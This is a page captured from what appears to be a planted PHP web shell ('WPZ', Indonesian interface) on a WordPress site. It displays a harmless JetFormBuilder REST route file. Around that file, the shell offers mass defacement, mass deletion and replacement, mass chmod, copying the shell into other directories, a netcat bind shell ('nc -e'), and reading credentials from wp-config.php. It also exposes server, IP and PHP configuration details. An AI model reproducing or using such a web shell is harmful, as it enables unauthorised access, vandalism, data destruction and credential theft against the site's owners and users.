WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/components/rest-api/route.php (2.31 KB)
<?php

namespace JFB_Components\Rest_Api;

class Route {

	/**
	 * @var Route|null
	 */
	private $parent_route;
	private $rest_namespace = '';
	private $route          = '';
	private $override       = false;
	/**
	 * @var Interfaces\Endpoint_Interface[]
	 */
	private $endpoints = array();

	public function register() {
		register_rest_route(
			$this->get_namespace(),
			"/{$this->get_route()}",
			iterator_to_array( $this->resolve_endpoints() ),
			$this->is_override()
		);
	}

	private function resolve_endpoints(): \Generator {
		foreach ( $this->endpoints as $endpoint ) {
			yield array(
				'methods'             => $endpoint->get_method(),
				'callback'            => array( $endpoint, 'process' ),
				'permission_callback' => array( $endpoint, 'has_permission' ),
				'args'                => $endpoint->get_args(),
			);
		}
	}

	/**
	 * @param Route|null $parent_route
	 */
	public function set_parent_route( Route $parent_route ) {
		$this->parent_route = $parent_route;

		if ( ! $this->get_namespace() ) {
			$this->set_namespace( $parent_route->get_namespace() );
		}
	}

	/**
	 * @param string $rest_namespace
	 */
	public function set_namespace( string $rest_namespace ) {
		$this->rest_namespace = $rest_namespace;
	}

	/**
	 * @return string
	 */
	public function get_namespace(): string {
		return $this->rest_namespace;
	}

	/**
	 * @param string $route
	 */
	public function set_route( string $route ) {
		$this->route = trim( $route, '/' );
	}

	/**
	 * @return string
	 */
	public function get_route(): string {
		if ( ! $this->parent_route ) {
			return $this->route;
		}

		return ( $this->parent_route->get_route() . '/' . $this->route );
	}

	/**
	 * @param bool $override
	 */
	public function set_override( bool $override ) {
		$this->override = $override;
	}

	/**
	 * @return bool
	 */
	public function is_override(): bool {
		return $this->override;
	}

	/**
	 * @param Interfaces\Endpoint_Interface[] $endpoints
	 */
	public function set_endpoints( array $endpoints ) {
		$this->endpoints = array();

		foreach ( $endpoints as $endpoint ) {
			$this->add_endpoint( $endpoint );
		}
	}

	public function add_endpoint( Interfaces\Endpoint_Interface $endpoint ) {
		$this->endpoints[] = $endpoint;
	}

	/**
	 * @return Interfaces\Endpoint_Interface[]
	 */
	public function get_endpoints(): array {
		return $this->endpoints;
	}

}
namawaktuukuranownerpermaksi
..
interfaces/ 2026-07-21 14:14282 B 76129f60960:kundendxwrx-r--r
traits/ 2026-07-21 14:14812 B 76129f60960:kundendxwrx-r--r
dynamic-rest-url-trait.php 2026-07-21 14:14796 B 76129f60960:kunden-xw-x-----
edt
rest-api-controller-base.php 2026-07-21 14:141.2 KB 76129f60960:kunden-xw-x-----
edt
rest-api-endpoint-base.php 2026-07-21 14:141.53 KB 76129f60960:kunden-xw-x-----
edt
rest-api-private-endpoint-base.php 2026-07-21 14:14878 B 76129f60960:kunden-xw-x-----
edt
rest-endpoint.php 2026-07-21 14:14594 B 76129f60960:kunden-xw-x-----
edt
rest-response.php 2026-07-21 14:14715 B 76129f60960:kunden-xw-x-----
edt
route.php 2026-07-21 14:142.31 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jetformbuilder/components/rest-api
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK